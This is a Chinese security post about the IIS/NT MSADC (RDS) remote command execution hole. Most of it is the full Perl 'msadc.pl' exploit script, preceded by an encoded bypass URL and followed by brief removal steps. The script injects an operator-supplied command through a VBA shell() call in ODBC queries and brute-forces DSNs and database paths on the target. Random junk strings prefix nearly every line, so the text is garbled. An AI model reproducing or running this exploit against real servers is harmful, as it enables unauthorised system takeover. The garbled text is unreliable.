IIS的漏洞(威胁NT之三招穿墙手) (MS,缺陷)
)Fh+6 Quy&CV{@ 涉及程序:
fWKI~/eUY| Microsoft NT server
>i %{5d 9H9 P'lx9 描述:
^#T@NN0T 1个NT的重大漏洞造成全世界大约1/4的NT server可以被入侵者获取最高权限
h|tdK;) "|yuP1;L 详细:
O9#8%p%
) 如果你没有时间读详细内容的话,就删除:
g?.ls{H c:\Program Files\Common Files\System\Msadc\msadcs.dll
HrH-e=j 有关的安全问题就没有了。
RCSG.*% %I J|-X?V;ZW 微软对关于Msadc的问题发了三次以上的补丁,仍然存在问题。
:d v{'O "NY[&S 1、第一次补丁,基本上,其安全问题是MS Jet 3.5造成的,它允许调用VBA shell()函数,这将允许入侵者远程运行shell指令。
{2EIvKu3: 关于利用ODBC远程漏洞的描述,请参看:
p0jQQg ;by`[) http://www.cnns.net/frankie/mirror/nttoolz/ntpipe.htm ,iKL
68 1&JPyW 2、IIS 4.0的缺省安装设置的是MDAC1.5,这个安装下有一个/msadc/msadcs.dll的文件,也允许通过web远程访问ODBC,获取系统的控制权,这点在很多黑客论坛都讨论过,请参看
3":vjDq$ http://www.microsoft.com/security/bulletins/MS99-025faq.asp }&+b\RE a\60QlAk~ 这里不再论述。
'O%itCy) KTr7z^ 3、如果web目录下的/msadc/msadcs.dll/可以访问,那么ms的任何补丁可能都没用,用类似:
\wR $_X& ,%>] /%6Dsadc/%6Dsadcs.dll/V%62BusO%62j.V%62BusO%62jCls.GetRecordset
SJg4P4| 的请求,就可以绕过安全机制进行非法的VbBusObj请求,从而达到入侵的目的。 下面的代码仅供测试,严禁用于非法用途,否则后果自负!!!
z ;>xI~ zPzy0lx V*X6 <} #将下面这段保存为txt文件,然后: "perl -x 文件名"
[Yr}:B
< ^O#>LbM"x #!perl
AgEX,SPP #
F xek# # MSADC/RDS 'usage' (aka exploit) script
vS#Y,H:yAj #
1>I4=mj # by rain.forest.puppy
0_F6t- #
B 2p/ # Many thanks to Weld, Mudge, and Dildog from l0pht for helping me
zSy^vM;6zf # beta test and find errors!
z TYHwx aQjs5RbP~ use Socket; use Getopt::Std;
='!E; getopts("e:vd:h:XR", \%args);
BC: d@
~s3X&!# print "-- RDS exploit by rain forest puppy / ADM / Wiretrip --\n";
8DAHaS; *0vq+C if (!defined $args{h} && !defined $args{R}) {
52X[{ print qq~
t zn1| Usage: msadc.pl -h <host> { -d <delay> -X -v }
b#~K> -h <host> = host you want to scan (ip or domain)
9:DT+^BB -d <seconds> = delay between calls, default 1 second
3jSt&+ -X = dump Index Server path table, if available
73Zx`00 -v = verbose
5;WESk -e = external dictionary file for step 5
V{jQ=<)@e #mT\B[4h Or a -R will resume a command session
e}f#dR+( C{{RU7iqc& ~; exit;}
5 [GdFd>{ qQ&=Z`p! $ip=$args{h}; $clen=0; $reqlen=0; $|=1; $target="";
{lam],#r if (defined $args{v}) { $verbose=1; } else {$verbose=0;}
4d x4hBd if (defined $args{d}) { $delay=$args{d};} else {$delay=1;}
0tz7^:|D if(!defined $args{R}){ $ip.="." if ($ip=~/[a-z]$/);
$6[%NQp $target= inet_aton($ip) || die("inet_aton problems; host doesn't exist?");}
rY?]p Mp if (defined $args{X} && !defined $args{R}) { &hork_idx; exit; }
YR'dl_ PHAM(iC&D if (!defined $args{R}){ $ret = &has_msadc;
(YV]T!q die("Looks like msadcs.dll doesn't exist\n")if $ret==0}
YCPU84f PJfADB7Y print "Please type the NT commandline you want to run (cmd /c assumed):\n"
LZ=E . "cmd /c ";
$^TxLv $in=<STDIN>; chomp $in;
%I^schE* $command="cmd /c " . $in ;
/1y\EEc ,=a+;D]' if (defined $args{R}) {&load; exit;}
H*.v*ro9_ "xI70c{ print "\nStep 1: Trying raw driver to btcustmr.mdb\n";
q1^bH6*fl &try_btcustmr;
'G1~
A + ]
/"!J6(e print "\nStep 2: Trying to make our own DSN...";
7|@FN7]5NF &make_dsn ? print "<<success>>\n" : print "<<fail>>\n";
:Bh7mF-1
2S print "\nStep 3: Trying known DSNs...";
V3S"LJ &known_dsn;
(^HU| =L\&}kzB print "\nStep 4: Trying known .mdbs...";
2tw3 =) &known_mdb;
/$\N_`bM 9oj#5Hq if (defined $args{e}){
%zKTrsMZ print "\nStep 5: Trying dictionary of DSN names...";
Od("tLIO}I &dsn_dict; } else { "\nNo -e; Step 5 skipped.\n\n"; }
!#Pr'm/,mu NwcRH9};i print "Sorry Charley...maybe next time?\n";
x%yzhIRR exit;
<YM!K8hu$ 1rIL[(r4 ##############################################################################
:@b=; 1f+z[ad&^ sub sendraw { # ripped and modded from whisker
!ra,HkU' sleep($delay); # it's a DoS on the server! At least on mine...
.~a.mT my ($pstr)=@_;
A I v socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
3dx.%~c die("Socket problems\n");
,7I
if(connect(S,pack "SnA4x8",2,80,$target)){
% !>@m6JK select(S); $|=1;
782 oXyD print $pstr; my @in=<S>;
en"\2+{Cg select(STDOUT); close(S);
j.yh>"de return @in;
~}_S]^br } else { die("Can't connect...\n"); }}
Z817f]l k?}y@$[) ##############################################################################
z%;_h- 5FVmk5z]d sub make_header { # make the HTTP request
v]'\]U^ my $msadc=<<EOT
@x^/X8c(p POST /msadc/msadcs.dll/AdvancedDataFactory.Query HTTP/1.1
s$kvLy< User-Agent: ACTIVEDATA
O!'gylj/ Host: $ip
@8Cja.H Content-Length: $clen
J'%W_?wZ Connection: Keep-Alive
0Q~\1D 9g L@S1C=-/ ADCClientVersion:01.06
o]eG+i6g] Content-Type: multipart/mixed; boundary=!ADM!ROX!YOUR!WORLD!; num-args=3
BS2'BS8 dG!) < --!ADM!ROX!YOUR!WORLD!
,:{+-v( Content-Type: application/x-varg
R_=fH\c; Content-Length: $reqlen
OD~yIV *Oq&g\K) EOT
pQxv_4 ; $msadc=~s/\n/\r\n/g;
ezA&cZ5 return $msadc;}
g^{a;= h^YUu`P ##############################################################################
T5-Yqz v=daafO sub make_req { # make the RDS request
,E8g~ZUY9 my ($switch, $p1, $p2)=@_;
Ih[k{p my $req=""; my $t1, $t2, $query, $dsn;
tqpSir &"=O!t2 if ($switch==1){ # this is the btcustmr.mdb query
NOFH $query="Select * from Customers where City=" . make_shell();
`[h&Q0Du6 $dsn="driver={Microsoft Access Driver (*.mdb)};dbq=" .
%Q=rm!Syv $p1 . ":\\" . $p2 . "\\help\\iis\\htm\\tutorial\\btcustmr.mdb;";}
sT,*<^ lSy_cItF elsif ($switch==2){ # this is general make table query
Rl
(+TE $query="create table AZZ (B int, C varchar(10))";
lpjby[S $dsn="$p1";}
D|2lBU I5]58Ohx elsif ($switch==3){ # this is general exploit table query
Lie= DD $query="select * from AZZ where C=" . make_shell();
#+
{%>f $dsn="$p1";}
6%V#_] dFZh1*1 elsif ($switch==4){ # attempt to hork file info from index server
A~;.9{6J[t $query="select path from scope()";
As??_=>4 $dsn="Provider=MSIDXS;";}
Y pvFv- 2gW+&5;4 elsif ($switch==5){ # bad query
aNgJm~K0P $query="select";
^vZu[m $dsn="$p1";}
k;<F33v;Mh } :T}N] $t1= make_unicode($query);
5*O]`Q7 $t2= make_unicode($dsn);
?{~. }Vn $req = "\x02\x00\x03\x00";
`a8 &7J( $req.= "\x08\x00" . pack ("S1", length($t1));
XcKyrh;i $req.= "\x00\x00" . $t1 ;
GXR7Ug}k $req.= "\x08\x00" . pack ("S1", length($t2));
$gdGII&n $req.= "\x00\x00" . $t2 ;
-AXMT3p=1 $req.="\r\n--!ADM!ROX!YOUR!WORLD!--\r\n";
k~]\kv= return $req;}
@9g!5dcT n*hRlL ##############################################################################
):V)Hrq?x 0Hr)h{!F" sub make_shell { # this makes the shell() statement
`nL^]i return "'|shell(\"$command\")|'";}
UO'X"` RohD.`D ##############################################################################
7mYBxE/ % %QAC4 sub make_unicode { # quick little function to convert to unicode
*B+YG^Yu^ my ($in)=@_; my $out;
h}%yG{'/M= for ($c=0; $c < length($in); $c++) { $out.=substr($in,$c,1) . "\x00"; }
&.:yP3 return $out;}
$I a-go2W =@k3*#\ ##############################################################################
HgRfMiC
L/: u sub rdo_success { # checks for RDO return success (this is kludge)
tHo/Vly6Z my (@in) = @_; my $base=content_start(@in);
ntF#x.1Pm if($in[$base]=~/multipart\/mixed/){
3M{b:|3/q return 1 if( $in[$base+10]=~/^\x09\x00/ );}
uzL IllVX* return 0;}
9'!I6;M =_d-MJy~6 ##############################################################################
^Cn_
ODjo z|G 39 sub make_dsn { # this makes a DSN for us
?Tk4Vt my @drives=("c","d","e","f");
~{s7(^ P print "\nMaking DSN: ";
U=UnE"h foreach $drive (@drives) {
7033#@_ print "$drive: ";
q8vRUlf my @results=sendraw("GET /scripts/tools/newdsn.exe?driver=Microsoft\%2B" .
rVx?Yo1F' "Access\%2BDriver\%2B\%28*.mdb\%29\&dsn=wicca\&dbq="
!O#NP! . $drive . "\%3A\%5Csys.mdb\&newdb=CREATE_DB\&attr= HTTP/1.0\n\n");
q\87<=9J $results[0]=~m#HTTP\/([0-9\.]+) ([0-9]+) ([^\n]*)#;
|p+ xM return 0 if $2 eq "404"; # not found/doesn't exist
q,eXH8 x if($2 eq "200") {
;?:X_C foreach $line (@results) {
vM2\tL@" return 1 if $line=~/<H2>Datasource creation successful<\/H2>/;}}
(`Q_^Bfyl } return 0;}
Gex%~';+q <S
M%M? ##############################################################################
4kQL\Ld#E% K\>CXa sub verify_exists {
t2vo;,^euL my ($page)=@_;
#oD*H:%* my @results=sendraw("GET $page HTTP/1.0\n\n");
S#,
E)h/ return $results[0];}
}!g^}BWWp *G0r4Ui$ ##############################################################################
oGi{d5 gL;tyf1P sub try_btcustmr {
+']S my @drives=("c","d","e","f");
>P\/\xL= my @dirs=("winnt","winnt35","winnt351","win","windows");
{pNf&' dq
~=P> foreach $dir (@dirs) {
yasKU6^R' print "$dir -> "; # fun status so you can see progress
hgi9%>oUB foreach $drive (@drives) {
BpKgUwf;C print "$drive: "; # ditto
- '5OX/Szq $reqlen=length( make_req(1,$drive,$dir) ) - 28;
I~>L4~g) $reqlenlen=length( "$reqlen" );
,*@6NK,. $clen= 206 + $reqlenlen + $reqlen;
hkL[hD JRj%d&^} my @results=sendraw(make_header() . make_req(1,$drive,$dir));
i
bwnK?ZA if (rdo_success(@results)){print "Success!\n";save(1,1,$drive,$dir);exit;}
u)fmXoQ else { verbose(odbc_error(@results)); funky(@results);}} print "\n";}}
fX2PteA0qX i3} ^j?jA2 ##############################################################################
X pd^^ *xOrt)D= sub odbc_error {
TBYRY)~f my (@in)=@_; my $base;
KwiTnP!Dca my $base = content_start(@in);
L_YVe(dT if($in[$base]=~/application\/x-varg/){ # it *SHOULD* be this
It@ak6u? $in[$base+4]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
j@b4)t $in[$base+5]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
(U |[C* $in[$base+6]=~s/[^a-zA-Z0-9 \[\]\:\/\\'\(\)]//g;
w(9.{zF|vQ return $in[$base+4].$in[$base+5].$in[$base+6];}
81|Xg5g)b print "\nNON-STANDARD error. Please sent this info to rfp\@wiretrip.net:\n";
YFCP'J"Z print "$in : " . $in[$base] . $in[$base+1] . $in[$base+2] . $in[$base+3] .
0iX;%SPYz $in[$base+4] . $in[$base+5] . $in[$base+6]; exit;}
V4OhdcW{ ,]'?Gd ##############################################################################
[S/]Vk|4 MD,}-m sub verbose {
e/m,PE my ($in)=@_;
PQRh5km return if !$verbose;
5"5D( print STDOUT "\n$in\n";}
Nd~?kZZu !ldb_*)h ##############################################################################
E
VBB:*q6 HhaUC?JtSK sub save {
J..>ApX my ($p1, $p2, $p3, $p4)=@_;
KFd"JtPg open(OUT, ">rds.save") || print "Problem saving parameters...\n";
0*"auGuX print OUT "$ip\n$p1\n$p2\n$p3\n$p4\n";
^Q]*CU+C close OUT;}
<m80e),~ J8$G-~MeJ ##############################################################################
# a
'h, B8_w3;x sub load {
yk9|H)-z my @p; my $drvst="driver={Microsoft Access Driver (*.mdb)}; dbq=";
S ;x;FU open(IN,"<rds.save") || die("Couldn't open rds.save\n");
fi%u] @p=<IN>; close(IN);
n}qHt0N $ip="$p[0]"; $ip=~s/\n//g; $ip.="." if ($ip=~/[a-z]$/);
-tSWYp{ $target= inet_aton($ip) || die("inet_aton problems");
QH6Lb%]/ print "Resuming to $ip ...";
`av8|; $p[3]="$p[3]"; $p[3]=~s/\n//g; $p[4]="$p[4]"; $p[4]=~s/\n//g;
]S[zD|U% if($p[1]==1) {
"2X=i`rTi $reqlen=length( make_req(1,"$p[3]","$p[4]") ) - 28;
a8-2:8Su $reqlenlen=length( "$reqlen" ); $clen= 206 + $reqlenlen + $reqlen;
U6"U^ my @results=sendraw(make_header() . make_req(1,"$p[3]","$p[4]"));
y5.Z <Y if (rdo_success(@results)){print "Success!\n";}
|8h<Ls_ else { print "failed\n"; verbose(odbc_error(@results));}}
hFP$MFab elsif ($p[1]==3){
Uq&ne1 if(run_query("$p[3]")){
4em7PmT print "Success!\n";} else { print "failed\n"; }}
/J8AnA1 elsif ($p[1]==4){
k'wF+> if(run_query($drvst . "$p[3]")){
phUno2fH print "Success!\n"; } else { print "failed\n"; }}
#H(|+WEu exit;}
7Rj!vj/ V{fYMgv ##############################################################################
fEdQR-> J1Mm,LTO sub create_table {
j_\sdH*r my ($in)=@_;
`pN"T?Pk $reqlen=length( make_req(2,$in,"") ) - 28;
0X -u'=Bs $reqlenlen=length( "$reqlen" );
,:QG%Et $clen= 206 + $reqlenlen + $reqlen;
%WCA?W0:4 my @results=sendraw(make_header() . make_req(2,$in,""));
y yrCO"eh return 1 if rdo_success(@results);
:N%cIxrqP my $temp= odbc_error(@results); verbose($temp);
F$ x@] return 1 if $temp=~/Table 'AZZ' already exists/;
cg<10KT return 0;}
9'Y~! vY BXaA#} ;e ##############################################################################
LDW":k|
n
w @cAv sub known_dsn {
TvAA # we want 'wicca' first, because if step 2 made the DSN, it's ready to go
z['>`Kt my @dsns=("wicca", "AdvWorks", "pubs", "CertSvr", "CFApplications",
._=Pa)T "cfexamples", "CFForums", "CFRealm", "cfsnippets", "UAM",
`Ten2(D "banner", "banners", "ads", "ADCDemo", "ADCTest");
O qY8\>f- lKI1bs]i foreach $dSn (@dsns) {
d37l/I print ".";
75@){ : next if (!is_access("DSN=$dSn"));
WhSQ>h!@s if(create_table("DSN=$dSn")){
]OM|Oo print "$dSn successful\n";
jio1#& if(run_query("DSN=$dSn")){
J+[&:]=P print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
"}Ch2K print "Something's borked. Use verbose next time\n";}}} print "\n";}
z*l3O~mZ ~kYUp5f ##############################################################################
4t|g G`QW7 Q4TI '/ sub is_access {
VCcLS3 my ($in)=@_;
z*YkD"]B $reqlen=length( make_req(5,$in,"") ) - 28;
f3|ttUX $reqlenlen=length( "$reqlen" );
K&9|0xt $clen= 206 + $reqlenlen + $reqlen;
gf2l19aP my @results=sendraw(make_header() . make_req(5,$in,""));
S$+vRX7 my $temp= odbc_error(@results);
"dXRUg" verbose($temp); return 1 if ($temp=~/Microsoft Access/);
A0cC)bd& return 0;}
-B9C2 '73dsOTIT ##############################################################################
3@J0-w $s4 rG=q sub run_query {
05LVfgJ'q my ($in)=@_;
K\nN2y $reqlen=length( make_req(3,$in,"") ) - 28;
{%9)l, $reqlenlen=length( "$reqlen" );
OlK3xdg7 $clen= 206 + $reqlenlen + $reqlen;
7qA0bUee5 my @results=sendraw(make_header() . make_req(3,$in,""));
PSI5$Vna4p return 1 if rdo_success(@results);
w W1aG my $temp= odbc_error(@results); verbose($temp);
n%"q> return 0;}
m(s(2wq"f wP/&k`HQ#i ##############################################################################
LpGplDlB KF|+#qCN sub known_mdb {
1LZ?!Lw my @drives=("c","d","e","f","g");
F.HD;C-;( my @dirs=("winnt","winnt35","winnt351","win","windows");
v98=#k!F my $dir, $drive, $mdb;
5:Pp62 my $drv="driver={Microsoft Access Driver (*.mdb)}; dbq=";
8E&}+DR? =zDU!< U # this is sparse, because I don't know of many
#25Z,UU my @sysmdbs=( "\\catroot\\icatalog.mdb",
[!]a'
T#x "\\help\\iishelp\\iis\\htm\\tutorial\\eecustmr.mdb",
h
+.8Rl "\\system32\\certmdb.mdb",
UZi^ & "\\system32\\certlog\\certsrv.mdb" ); #these are %systemroot%
,3.E]_3xX R5g-b2Lm my @mdbs=( "\\cfusion\\cfapps\\cfappman\\data\\applications.mdb",
d=o|)kV "\\cfusion\\cfapps\\forums\\forums_.mdb",
S 3Tp__ "\\cfusion\\cfapps\\forums\\data\\forums.mdb",
gD3s,<>o "\\cfusion\\cfapps\\security\\realm_.mdb",
53J!iNnXT6 "\\cfusion\\cfapps\\security\\data\\realm.mdb",
iE=Yh "\\cfusion\\database\\cfexamples.mdb",
O%H_._#N` "\\cfusion\\database\\cfsnippets.mdb",
%%`Nq&' "\\inetpub\\iissamples\\sdk\\asp\\database\\authors.mdb",
jGl8y!aM "\\progra~1\\common~1\\system\\msadc\\samples\\advworks.mdb",
"=@b>d6U+ "\\cfusion\\brighttiger\\database\\cleam.mdb",
]>E*s3h "\\cfusion\\database\\smpolicy.mdb",
((Ak/ qz "\\cfusion\\database\cypress.mdb",
D*6v.`]X "\\progra~1\\ableco~1\\ablecommerce\\databases\\acb2_main1.mdb",
!Y>lAx d "\\website\\cgi-win\\dbsample.mdb",
a|SgGtBtT4 "\\perl\\prk\\bookexamples\\modsamp\\database\\contact.mdb",
p~6/+ap "\\perl\\prk\\bookexamples\\utilsamp\\data\\access\\prk.mdb"
(MY#;v\AYE ); #these are just
K#rfQ0QK/! foreach $drive (@drives) {
ns[v.YDL foreach $dir (@dirs){
4sasf94 foreach $mdb (@sysmdbs) {
RbzSQr>a\ print ".";
_ui03veA1 if(create_table($drv . $drive . ":\\" . $dir . $mdb)){
/x,gdZPX print "\n" . $drive . ":\\" . $dir . $mdb . " successful\n";
@X4Ur+d if(run_query($drv . $drive . ":\\" . $dir . $mdb)){
T6h-E^Z print "Success!\n"; save (4,4,$drive . ":\\" . $dir . $mdb,""); exit;
26PUO$&b. } else { print "Something's borked. Use verbose next time\n"; }}}}}
gKeqf-UWKJ ?YWfoH4mS foreach $drive (@drives) {
usH9dys, foreach $mdb (@mdbs) {
1j0OV9 -| print ".";
zI$^yk-vn if(create_table($drv . $drive . $dir . $mdb)){
%tul(Z~<1 print "\n" . $drive . $dir . $mdb . " successful\n";
d9>*a$x;/ if(run_query($drv . $drive . $dir . $mdb)){
>/mi#Y6 print "Success!\n"; save (4,4,$drive . $dir . $mdb,""); exit;
$R(?@B( } else { print "Something's borked. Use verbose next time\n"; }}}}
Oo|*q+{ }
=}>wxO C~4_Vc* ##############################################################################
[ -"o5!0< ;iR( Ir sub hork_idx {
6r!
Y ~\@ print "\nAttempting to dump Index Server tables...\n";
^]l^q'?>: print " NOTE: Sometimes this takes a while, other times it stalls\n\n";
z%$ E6Im $reqlen=length( make_req(4,"","") ) - 28;
:f%FM&b $reqlenlen=length( "$reqlen" );
!>fYD8Ft, $clen= 206 + $reqlenlen + $reqlen;
59mNb:< my @results=sendraw2(make_header() . make_req(4,"",""));
A<P3X/i if (rdo_success(@results)){
%|E'cdvkX my $max=@results; my $c; my %d;
CT,caa for($c=19; $c<$max; $c++){
u$ C@0d $results[$c]=~s/\x00//g;
Wt5x*p-!C $results[$c]=~s/[^a-zA-Z0-9:~ \\\._]{1,40}/\n/g;
mkgGX|k; $results[$c]=~s/[^a-zA-Z0-9:~ \\\._\n]//g;
y6NOHPp@ $results[$c]=~/([a-zA-Z]\:\\)([a-zA-Z0-9 _~\\]+)\\/;
bHVAa# $d{"$1$2"}="";}
&7z79#1NS foreach $c (keys %d){ print "$c\n"; }
i; Cs,Esnf } else {print "Index server doesn't seem to be installed.\n"; }}
|T?wM/ Y$xO&\&) ##############################################################################
:K.%^ag=j ~f=~tN)hZ sub dsn_dict {
dp`xyBQ3 open(IN, "<$args{e}") || die("Can't open external dictionary\n");
+v4P9V|s while(<IN>){
6BM[RL?T $hold=$_; $hold=~s/[\r\n]//g; $dSn="$hold"; print ".";
-YM#.lQ next if (!is_access("DSN=$dSn"));
vzV,}
S*c if(create_table("DSN=$dSn")){
K$OxeJP?F print "$dSn successful\n";
j.FA!4L if(run_query("DSN=$dSn")){
2VmQ%y6e" print "Success!\n"; save (3,3,"DSN=$dSn",""); exit; } else {
@(>XSTh9 print "Something's borked. Use verbose next time\n";}}}
Oop5bg print "\n"; close(IN);}
3jF#f'* RtVy^~=G ##############################################################################
",/3PT C
yg e sub sendraw2 { # ripped and modded from whisker
ZeewGa^r sleep($delay); # it's a DoS on the server! At least on mine...
^0"^Xk* my ($pstr)=@_;
1d/-SxhZ socket(S,PF_INET,SOCK_STREAM,getprotobyname('tcp')||0) ||
i9Fg die("Socket problems\n");
'J^ M`/ if(connect(S,pack "SnA4x8",2,80,$target)){
w-2&6o<n- print "Connected. Getting data";
tP; &$y.8 open(OUT,">raw.out"); my @in;
RmS|X"zc select(S); $|=1; print $pstr;
+mRFHZG while(<S>){ print OUT $_; push @in, $_; print STDOUT ".";}
fw>@:m_bK close(OUT); select(STDOUT); close(S); return @in;
eXJt9olI } else { die("Can't connect...\n"); }}
GwiG..Y]& mk>L:+ ##############################################################################
B$~oZ'4v 8N<0|u sub content_start { # this will take in the server headers
\s<7!NAE4 my (@in)=@_; my $c;
Ol ,;BZHc\ for ($c=1;$c<500;$c++) {
cBf9-k if($in[$c] =~/^\x0d\x0a/){
(;u tiupW if ($in[$c+1]=~/^HTTP\/1.[01] [12]00/) { $c++; }
i`o}*`// else { return $c+1; }}}
p:M#F: return -1;} # it should never get here actually
~;St,Fw<< Ov3W;jD ##############################################################################
RZ)sCR K/RQ-xd4 sub funky {
/CpUq;^ my (@in)=@_; my $error=odbc_error(@in);
a%*l]S0z" if($error=~/ADO could not find the specified provider/){
_`lj
3Lm0> print "\nServer returned an ADO miscofiguration message\nAborting.\n";
HZMs],GX exit;}
KDwz!:ye if($error=~/A Handler is required/){
d
q=>-^o print "\nServer has custom handler filters (they most likely are patched)\n";
Hj
]$ exit;}
A^7!:^%K if($error=~/specified Handler has denied Access/){
SsA;T5:6 print "\nServer has custom handler filters (they most likely are patched)\n";
Ore$yI}!m exit;}}
}*Qd]\fy 4GJ1P2 ##############################################################################
Li ,B, D|I(2%aC sub has_msadc {
9fD4xkRS my @results=sendraw("GET /msadc/msadcs.dll HTTP/1.0\n\n");
"^-U#f>k my $base=content_start(@results);
^}; 4r return 1 if($results[$base]=~/Content-Type: application\/x-varg/);
*D`qcv return 0;}
>yvP[$]!6 Z :f0> ########################
ja$>>5<q *nNzhcuR sh.xp8^)^> 解决方案:
}C>Q 1、移除c:\Program Files\Common Files\System\Msadc\msadcs.dll
5@c,iU-L 2、移除web 目录: /msadc